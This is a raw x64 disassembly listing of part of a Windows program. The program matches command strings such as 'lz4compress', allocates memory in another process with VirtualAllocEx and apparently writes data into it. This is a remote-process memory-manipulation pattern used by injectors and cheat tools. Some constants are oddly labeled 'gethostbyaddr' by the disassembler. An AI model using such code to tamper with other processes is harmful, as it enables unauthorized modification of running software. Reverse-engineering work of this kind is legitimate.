mov rcx, qword [rsp + 0x1f0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1480], rax
mov rax, qword [rsp + 0x1480]
add rax, 8
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x4f0], rax
cmp qword [rsp + 0x4f0], 0
je 0x140028a67
mov rdx, qword [rsp + 0x4f0]
lea rcx, [rsp + 0x3fb0]
call fcn.1402c6ca0
lea rcx, [rsp + 0x3610]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x3634], 4
jne 0x140028a67
mov rdx, qword [rsp + 0x4f0]
lea rcx, [rsp + 0xc30]
call fcn.14000cda0
nop
lea rdx, [rsp + 0x24e0]
lea rcx, [rsp + 0xc30]
call fcn.140053300
nop
lea rdx, [0x140366ad0]
lea rcx, [rsp + 0x24e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140028627
movsx rax, word [0x14047d06c]
mov rcx, qword [rsp + 0x4f0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1e0], rax
jmp 0x140028668
lea rdx, [0x140366ae0]
lea rcx, [rsp + 0x24e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140028668
movsx rax, word [0x14047d070]
mov rcx, qword [rsp + 0x4f0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x1e0], 0
je 0x140028a4c
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x3f80]
call fcn.1402c6ca0
lea rcx, [rsp + 0x3640]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x3664], 4
jne 0x140028a4c
mov rax, qword [rsp + 0x1e0]
add rax, 0x10
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
add rax, 0x18
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x2910], rax
mov rax, qword [rsp + 0x1e0]
add rax, 0x10
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xc10], rax
cmp qword [rsp + 0xc10], 0
jbe 0x140028a4c
mov rcx, qword [rsp + 0x1e0]
call fcn.140013da0
mov qword [rsp + 0x1488], rax
mov r8, qword [rsp + 0xc10]
mov rdx, qword [rsp + 0x1488]
lea rcx, [rsp + 0x2660]
call fcn.140013b50
nop
lea rcx, [rsp + 0x24c0]
call fcn.140006550
nop
lea rax, [rsp + 0x2660]
mov qword [rsp + 0xc18], rax
mov rcx, qword [rsp + 0xc18]
call fcn.1400085d0
mov qword [rsp + 0x550], rax
mov rcx, qword [rsp + 0xc18]
call fcn.14000ab80
mov qword [rsp + 0x1490], rax
jmp 0x14002879a
mov rax, qword [rsp + 0x550]
inc rax
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x1490]
cmp qword [rsp + 0x550], rax
je 0x1400287d5
mov rax, qword [rsp + 0x550]
movzx eax, byte [rax]
mov byte [rsp + 0xc8], al
movzx edx, byte [rsp + 0xc8]
lea rcx, [rsp + 0x24c0]
call fcn.140006930
jmp 0x140028787
lea rdx, [rsp + 0x24c0]
lea rcx, [rsp + 0x1cf0]
call fcn.1401fd150
nop
lea rcx, [rsp + 0x1cf0]
call fcn.1400358d0
mov qword [rsp + 0x1498], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x14a0], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1498]
xor edx, edx
mov rcx, qword [rsp + 0x14a0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xc20], rax
lea rcx, [rsp + 0x1cf0]
call fcn.1400358d0
mov qword [rsp + 0x14a8], rax
lea rcx, [rsp + 0x1cf0]
call fcn.14001f2e0
mov qword [rsp + 0x14b0], rax
mov r8, qword [rsp + 0x14a8]
mov rdx, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0xc20]
call fcn.140033090
mov rax, qword [rsp + 0xc20]
mov qword [rsp + 0x968], rax
mov qword [rsp + 0x2918], 0
lea rcx, [rsp + 0x1cf0]
call fcn.1400358d0
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x558], 0
jmp 0x1400288ec
mov rax, qword [rsp + 0x558]
inc rax
mov qword [rsp + 0x558], rax
mov rax, qword [rsp + 0x380]
sub rax, 0x30000
mov qword [rsp + 0x380], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x558], rax
jae 0x140028a22
cmp qword [rsp + 0x380], 0
jbe 0x140028a22
cmp qword [rsp + 0x380], 0x7fffffff
jae 0x140028a22
cmp qword [rsp + 0x380], 0x30000
jbe 0x140028944
mov qword [rsp + 0xc28], 0x30000
jmp 0x140028954
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0xc28], rax
mov rax, qword [rsp + 0xc28]
mov qword [rsp + 0x960], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x14b8], rax
mov rdx, qword [rsp + 0x558]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x14b8]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x958], rax
lea rdx, [rsp + 0x968]
mov rcx, qword [rsp + 0x958]
call fcn.140013f40
mov rax, qword [rsp + 0x958]
add rax, 0x10
lea rdx, [rsp + 0x960]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x960]
or rax, 0x1f
mov qword [rsp + 0x14c0], rax
mov rax, qword [rsp + 0x958]
add rax, 0x18
lea rdx, [rsp + 0x14c0]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x968], rax
jmp 0x1400288c3
lea rcx, [rsp + 0x1cf0]
call fcn.140017680
nop
lea rcx, [rsp + 0x24c0]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2660]
call fcn.140017680
nop
lea rcx, [rsp + 0x24e0]
call fcn.1400067e0
nop
lea rcx, [rsp + 0xc30]
call fcn.1400061b0
jmp 0x14002fb8c
lea rdx, [0x1403667cc]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140029329
movsxd rax, dword [0x14047d008]
mov rcx, qword [rsp + 0x1f0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x14c8], rax
mov rax, qword [rsp + 0x14c8]
add rax, 8
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x1d08]
call fcn.140015970
nop
mov qword [rsp + 0x2e8], 0
jmp 0x140028afb
mov rax, qword [rsp + 0x2e8]
inc rax
mov qword [rsp + 0x2e8], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x2e8], rax
jae 0x140028d77
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x14d0], rax
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x14d0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x970], rax
cmp qword [rsp + 0x970], 0
jne 0x140028b64
jmp 0x140028d77
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x14d8], rax
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x14d8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
jbe 0x140028c93
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x14e0], rax
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x14e0]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0x970]
mov rdx, rax
lea rcx, [rsp + 0x2678]
call fcn.140013b50
nop
lea rax, [rsp + 0x2678]
mov qword [rsp + 0xc38], rax
mov rcx, qword [rsp + 0xc38]
call fcn.1400085d0
mov qword [rsp + 0x560], rax
mov rcx, qword [rsp + 0xc38]
call fcn.14000ab80
mov qword [rsp + 0x14e8], rax
jmp 0x140028c46
mov rax, qword [rsp + 0x560]
inc rax
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x14e8]
cmp qword [rsp + 0x560], rax
je 0x140028c81
mov rax, qword [rsp + 0x560]
movzx eax, byte [rax]
mov byte [rsp + 0xc9], al
lea rdx, [rsp + 0xc9]
lea rcx, [rsp + 0x1d08]
call fcn.140034160
jmp 0x140028c33
lea rcx, [rsp + 0x2678]
call fcn.140017680
jmp 0x140028d72
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x14f0], rax
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x14f0]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x970]
mov rdx, rax
lea rcx, [rsp + 0x2690]
call fcn.140013b50
nop
lea rax, [rsp + 0x2690]
mov qword [rsp + 0xc40], rax
mov rcx, qword [rsp + 0xc40]
call fcn.1400085d0
mov qword [rsp + 0x568], rax
mov rcx, qword [rsp + 0xc40]
call fcn.14000ab80
mov qword [rsp + 0x14f8], rax
jmp 0x140028d2a
mov rax, qword [rsp + 0x568]
inc rax
mov qword [rsp + 0x568], rax
mov rax, qword [rsp + 0x14f8]
cmp qword [rsp + 0x568], rax
je 0x140028d65
mov rax, qword [rsp + 0x568]
movzx eax, byte [rax]
mov byte [rsp + 0xca], al
lea rdx, [rsp + 0xca]
lea rcx, [rsp + 0x1d08]
call fcn.140034160
jmp 0x140028d17
lea rcx, [rsp + 0x2690]
call fcn.140017680
jmp 0x140028ae8
lea rcx, [rsp + 0x1d08]
call fcn.1400358d0
mov qword [rsp + 0x1500], rax
xor edx, edx
lea rcx, [rsp + 0x1d08]
call fcn.140018400
mov qword [rsp + 0x1508], rax
mov r8, qword [rsp + 0x1500]
mov rdx, qword [rsp + 0x1508]
lea rcx, [rsp + 0x2ae8]
call fcn.1400151a0
nop
mov byte [rsp + 0x116], 0
mov byte [rsp + 0x117], 0
mov dword [rsp + 0x21c0], 0
mov dword [rsp + 0x21c4], 0
mov dword [rsp + 0x21c8], 0
mov dword [rsp + 0x21cc], 0
mov qword [rsp + 0x21d0], 0
mov qword [rsp + 0x21d8], 0
mov qword [rsp + 0x21e0], 0
mov qword [rsp + 0x21e8], 0
mov qword [rsp + 0x21f0], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x116]
lea r8, [rsp + 0x21c0]
lea rdx, [rsp + 0x2ae8]
lea rcx, [rsp + 0xe68]
call fcn.140169b00
nop
xor edx, edx
lea rcx, [rsp + 0xe68]
call fcn.140006890
movsx eax, byte [rax]
test eax, eax
jle 0x140028e95
xor edx, edx
lea rcx, [rsp + 0xe68]
call fcn.140006890
movsx eax, byte [rax]
cmp eax, 0xf
jl 0x140028f01
lea rdx, [0x140366af0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1518], rax
mov edx, 1
lea rcx, [rsp + 0xe68]
call fcn.140006890
mov qword [rsp + 0x1510], rax
mov rdx, qword [rsp + 0x1510]
mov rcx, qword [rsp + 0x1518]
call fcn.140007b60
mov qword [rsp + 0x1520], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1520]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400292fb
lea rdx, [rsp + 0xe68]
lea rcx, [rsp + 0x3068]
call fcn.1401fcf30
mov qword [rsp + 0x1528], rax
mov rdx, qword [rsp + 0x1528]
lea rcx, [rsp + 0xe68]
call fcn.140009f60
lea rcx, [rsp + 0x3068]
call fcn.1400067e0
cmp qword [rsp + 0x378], 0
je 0x1400292fb
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0x3fe0]
call fcn.1402c6ca0
lea rcx, [rsp + 0x35c8]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x35ec], 4
jne 0x1400292fb
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0xc48]
call fcn.14000cda0
nop
lea rdx, [rsp + 0x2500]
lea rcx, [rsp + 0xc48]
call fcn.140053300
nop
lea rdx, [0x140366b00]
lea rcx, [rsp + 0x2500]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140028ff6
movsx rax, word [0x14047d06c]
mov rcx, qword [rsp + 0x378]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x108], rax
jmp 0x140029037
lea rdx, [0x140366b10]
lea rcx, [rsp + 0x2500]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140029037
movsx rax, word [0x14047d070]
mov rcx, qword [rsp + 0x378]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x108], rax
cmp qword [rsp + 0x108], 0
je 0x1400292df
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x4010]
call fcn.1402c6ca0
lea rcx, [rsp + 0x34d8]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x34fc], 4
jne 0x1400292df
mov rax, qword [rsp + 0x108]
add rax, 0x10
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
add rax, 0x18
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x2920], rax
mov rax, qword [rsp + 0x108]
add rax, 0x10
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1530], rax
cmp qword [rsp + 0x1530], 0
jbe 0x1400292df
mov rcx, qword [rsp + 0x108]
call fcn.140013da0
mov qword [rsp + 0x2928], rax
lea rcx, [rsp + 0xe68]
call fcn.1400074e0
add rax, 0x30
mov qword [rsp + 0x1538], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1540], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1538]
xor edx, edx
mov rcx, qword [rsp + 0x1540]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x4a8], rax
mov r8d, 0x20
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x2cb8]
call fcn.140013b50
mov qword [rsp + 0x1548], rax
mov rax, qword [rsp + 0x1548]
mov qword [rsp + 0x1550], rax
mov rax, qword [rsp + 0x1550]
mov qword [rsp + 0x1558], rax
mov rax, qword [rsp + 0x4a8]
mov qword [rsp + 0x1560], rax
mov rdx, qword [rsp + 0x1558]
mov rcx, qword [rsp + 0x1560]
call fcn.140013e50
nop
lea rcx, [rsp + 0x2cb8]
call fcn.140017680
lea rcx, [rsp + 0xe68]
call fcn.1400074e0
mov qword [rsp + 0x1568], rax
lea rcx, [rsp + 0xe68]
call fcn.14000ae90
mov qword [rsp + 0x1570], rax
mov rax, qword [rsp + 0x4a8]
add rax, 0x30
mov qword [rsp + 0x1578], rax
mov r8, qword [rsp + 0x1568]
mov rdx, qword [rsp + 0x1570]
mov rcx, qword [rsp + 0x1578]
call fcn.140033090
movsx rax, word [0x14047d070]
mov rcx, qword [rsp + 0x378]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x4a8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x4a8]
add rax, 0x10
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x4a8]
add rax, 0x30
mov qword [rsp + 0x1580], rax
lea rdx, [rsp + 0x1580]
mov rcx, qword [rsp + 0x108]
call fcn.140013f40
lea rcx, [rsp + 0xe68]
call fcn.1400074e0
mov qword [rsp + 0x1588], rax
mov rax, qword [rsp + 0x108]
add rax, 0x10
lea rdx, [rsp + 0x1588]
mov rcx, rax
call fcn.140013f40
lea rcx, [rsp + 0xe68]
call fcn.1400074e0
or rax, 0xf
mov qword [rsp + 0x1590], rax
mov rax, qword [rsp + 0x108]
add rax, 0x18
lea rdx, [rsp + 0x1590]
mov rcx, rax
call fcn.140013f40
nop
lea rcx, [rsp + 0x2500]
call fcn.1400067e0
nop
lea rcx, [rsp + 0xc48]
call fcn.1400061b0
nop
lea rcx, [rsp + 0xe68]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2ae8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1d08]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, [0x1403667dc]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140029a54
movsxd rax, dword [0x14047d008]
mov rcx, qword [rsp + 0x1f0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1598], rax
mov rax, qword [rsp + 0x1598]
add rax, 8
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x4a0], rax
lea rcx, [rsp + 0x1d20]
call fcn.140015970
nop
mov qword [rsp + 0x2f0], 0
jmp 0x1400293b8
mov rax, qword [rsp + 0x2f0]
inc rax
mov qword [rsp + 0x2f0], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x2f0], rax
jae 0x140029634
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x15a0], rax
mov rdx, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x15a0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x978], rax
cmp qword [rsp + 0x978], 0
jne 0x140029421
jmp 0x140029634
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x15a8], rax
mov rdx, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x15a8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
jbe 0x140029550
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x15b0], rax
mov rdx, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x15b0]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0x978]
mov rdx, rax
lea rcx, [rsp + 0x26a8]
call fcn.140013b50
nop
lea rax, [rsp + 0x26a8]
mov qword [rsp + 0xc50], rax
mov rcx, qword [rsp + 0xc50]
call fcn.1400085d0
mov qword [rsp + 0x570], rax
mov rcx, qword [rsp + 0xc50]
call fcn.14000ab80
mov qword [rsp + 0x15b8], rax
jmp 0x140029503
mov rax, qword [rsp + 0x570]
inc rax
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x15b8]
cmp qword [rsp + 0x570], rax
je 0x14002953e
mov rax, qword [rsp + 0x570]
movzx eax, byte [rax]
mov byte [rsp + 0xcb], al
lea rdx, [rsp + 0xcb]
lea rcx, [rsp + 0x1d20]
call fcn.140034160
jmp 0x1400294f0
lea rcx, [rsp + 0x26a8]
call fcn.140017680
jmp 0x14002962f
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x15c0], rax
mov rdx, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x15c0]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x978]
mov rdx, rax
lea rcx, [rsp + 0x26c0]
call fcn.140013b50
nop
lea rax, [rsp + 0x26c0]
mov qword [rsp + 0xc58], rax
mov rcx, qword [rsp + 0xc58]
call fcn.1400085d0
mov qword [rsp + 0x578], rax
mov rcx, qword [rsp + 0xc58]
call fcn.14000ab80
mov qword [rsp + 0x15c8], rax
jmp 0x1400295e7
mov rax, qword [rsp + 0x578]
inc rax
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x15c8]
cmp qword [rsp + 0x578], rax
je 0x140029622
mov rax, qword [rsp + 0x578]
movzx eax, byte [rax]
mov byte [rsp + 0xcc], al
lea rdx, [rsp + 0xcc]
lea rcx, [rsp + 0x1d20]
call fcn.140034160
jmp 0x1400295d4
lea rcx, [rsp + 0x26c0]
call fcn.140017680
jmp 0x1400293a5
lea rcx, [rsp + 0x1d20]
call fcn.1400358d0
mov qword [rsp + 0x15d0], rax
xor edx, edx
lea rcx, [rsp + 0x1d20]
call fcn.140018400
mov qword [rsp + 0x15d8], rax
mov r8, qword [rsp + 0x15d0]
mov rdx, qword [rsp + 0x15d8]
lea rcx, [rsp + 0x2b08]
call fcn.1400151a0
nop
lea rdx, [rsp + 0x2b08]
lea rcx, [rsp + 0xea0]
call fcn.140009280
nop
xor edx, edx
lea rcx, [rsp + 0xea0]
call fcn.140006890
movsx eax, byte [rax]
test eax, eax
jle 0x1400296c1
xor edx, edx
lea rcx, [rsp + 0xea0]
call fcn.140006890
movsx eax, byte [rax]
cmp eax, 0xf
jl 0x14002972d
lea rdx, [0x140366b20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x15e8], rax
mov edx, 1
lea rcx, [rsp + 0xea0]
call fcn.140006890
mov qword [rsp + 0x15e0], rax
mov rdx, qword [rsp + 0x15e0]
mov rcx, qword [rsp + 0x15e8]
call fcn.140007b60
mov qword [rsp + 0x15f0], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x15f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140029a26
lea rdx, [rsp + 0xea0]
lea rcx, [rsp + 0x3088]
call fcn.1401fcf30
mov qword [rsp + 0x15f8], rax
mov rdx, qword [rsp + 0x15f8]
lea rcx, [rsp + 0xea0]
call fcn.140009f60
lea rcx, [rsp + 0x3088]
call fcn.1400067e0
cmp qword [rsp + 0x4a0], 0
je 0x140029a26
mov rdx, qword [rsp + 0x4a0]
lea rcx, [rsp + 0x4040]
call fcn.1402c6ca0
lea rcx, [rsp + 0x3508]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x352c], 4
jne 0x140029a26
mov rdx, qword [rsp + 0x4a0]
lea rcx, [rsp + 0xc68]
call fcn.14000cda0
nop
lea rdx, [rsp + 0x2520]
lea rcx, [rsp + 0xc68]
call fcn.140053300
nop
lea rdx, [0x140366b30]
lea rcx, [rsp + 0x2520]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140029822
movsx rax, word [0x14047d06c]
mov rcx, qword [rsp + 0x4a0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x168], rax
jmp 0x140029863
lea rdx, [0x140366b40]
lea rcx, [rsp + 0x2520]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140029863
movsx rax, word [0x14047d070]
mov rcx, qword [rsp + 0x4a0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x168], rax
cmp qword [rsp + 0x168], 0
je 0x140029a0a
mov rdx, qword [rsp + 0x168]
lea rcx, [rsp + 0x4070]
call fcn.1402c6ca0
lea rcx, [rsp + 0x3538]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x355c], 4
jne 0x140029a0a
mov rax, qword [rsp + 0x168]
add rax, 0x10
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
add rax, 0x18
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x2930], rax
mov rax, qword [rsp + 0x168]
add rax, 0x10
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1600], rax
cmp qword [rsp + 0x1600], 0
jbe 0x140029a0a
mov rcx, qword [rsp + 0x168]
call fcn.140013da0
mov qword [rsp + 0x2938], rax
lea rcx, [rsp + 0xea0]
call fcn.1400074e0
mov qword [rsp + 0x1608], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1610], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1608]
xor edx, edx
mov rcx, qword [rsp + 0x1610]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xc60], rax
lea rcx, [rsp + 0xea0]
call fcn.1400074e0
mov qword [rsp + 0x1618], rax
lea rcx, [rsp + 0xea0]
call fcn.14000ae90
mov qword [rsp + 0x1620], rax
mov rax, qword [rsp + 0xc60]
mov qword [rsp + 0x1628], rax
mov r8, qword [rsp + 0x1618]
mov rdx, qword [rsp + 0x1620]
mov rcx, qword [rsp + 0x1628]
call fcn.140033090
lea rdx, [rsp + 0xc60]
mov rcx, qword [rsp + 0x168]
call fcn.140013f40
lea rcx, [rsp + 0xea0]
call fcn.1400074e0
mov qword [rsp + 0x1630], rax
mov rax, qword [rsp + 0x168]
add rax, 0x10
lea rdx, [rsp + 0x1630]
mov rcx, rax
call fcn.140013f40
nop
lea rcx, [rsp + 0x2520]
call fcn.1400067e0
nop
lea rcx, [rsp + 0xc68]
call fcn.1400061b0
nop
lea rcx, [rsp + 0xea0]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2b08]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1d20]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.lz4compress
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002a0e5
lea rcx, [rsp + 0x1f70]
call fcn.140015970
nop
mov qword [rsp + 0x2f8], 0
jmp 0x140029aa2
mov rax, qword [rsp + 0x2f8]
inc rax
mov qword [rsp + 0x2f8], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x2f8], rax
jae 0x140029d1e
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1638], rax
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1638]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x980], rax
cmp qword [rsp + 0x980], 0
jne 0x140029b0b
jmp 0x140029d1e
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1640], rax
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1640]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
jbe 0x140029c3a
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1648], rax
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1648]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0x980]
mov rdx, rax
lea rcx, [rsp + 0x26d8]
call fcn.140013b50
nop
lea rax, [rsp + 0x26d8]
mov qword [rsp + 0xc70], rax
mov rcx, qword [rsp + 0xc70]
call fcn.1400085d0
mov qword [rsp + 0x580], rax
mov rcx, qword [rsp + 0xc70]
call fcn.14000ab80
mov qword [rsp + 0x1650], rax
jmp 0x140029bed
mov rax, qword [rsp + 0x580]
inc rax
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x1650]
cmp qword [rsp + 0x580], rax
je 0x140029c28
mov rax, qword [rsp + 0x580]
movzx eax, byte [rax]
mov byte [rsp + 0xcd], al
lea rdx, [rsp + 0xcd]
lea rcx, [rsp + 0x1f70]
call fcn.140034160
jmp 0x140029bda
lea rcx, [rsp + 0x26d8]
call fcn.140017680
jmp 0x140029d19
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1658], rax
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1658]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x980]
mov rdx, rax
lea rcx, [rsp + 0x26f0]
call fcn.140013b50
nop
lea rax, [rsp + 0x26f0]
mov qword [rsp + 0xc78], rax
mov rcx, qword [rsp + 0xc78]
call fcn.1400085d0
mov qword [rsp + 0x588], rax
mov rcx, qword [rsp + 0xc78]
call fcn.14000ab80
mov qword [rsp + 0x1660], rax
jmp 0x140029cd1
mov rax, qword [rsp + 0x588]
inc rax
mov qword [rsp + 0x588], rax
mov rax, qword [rsp + 0x1660]
cmp qword [rsp + 0x588], rax
je 0x140029d0c
mov rax, qword [rsp + 0x588]
movzx eax, byte [rax]
mov byte [rsp + 0xce], al
lea rdx, [rsp + 0xce]
lea rcx, [rsp + 0x1f70]
call fcn.140034160
jmp 0x140029cbe
lea rcx, [rsp + 0x26f0]
call fcn.140017680
jmp 0x140029a8f
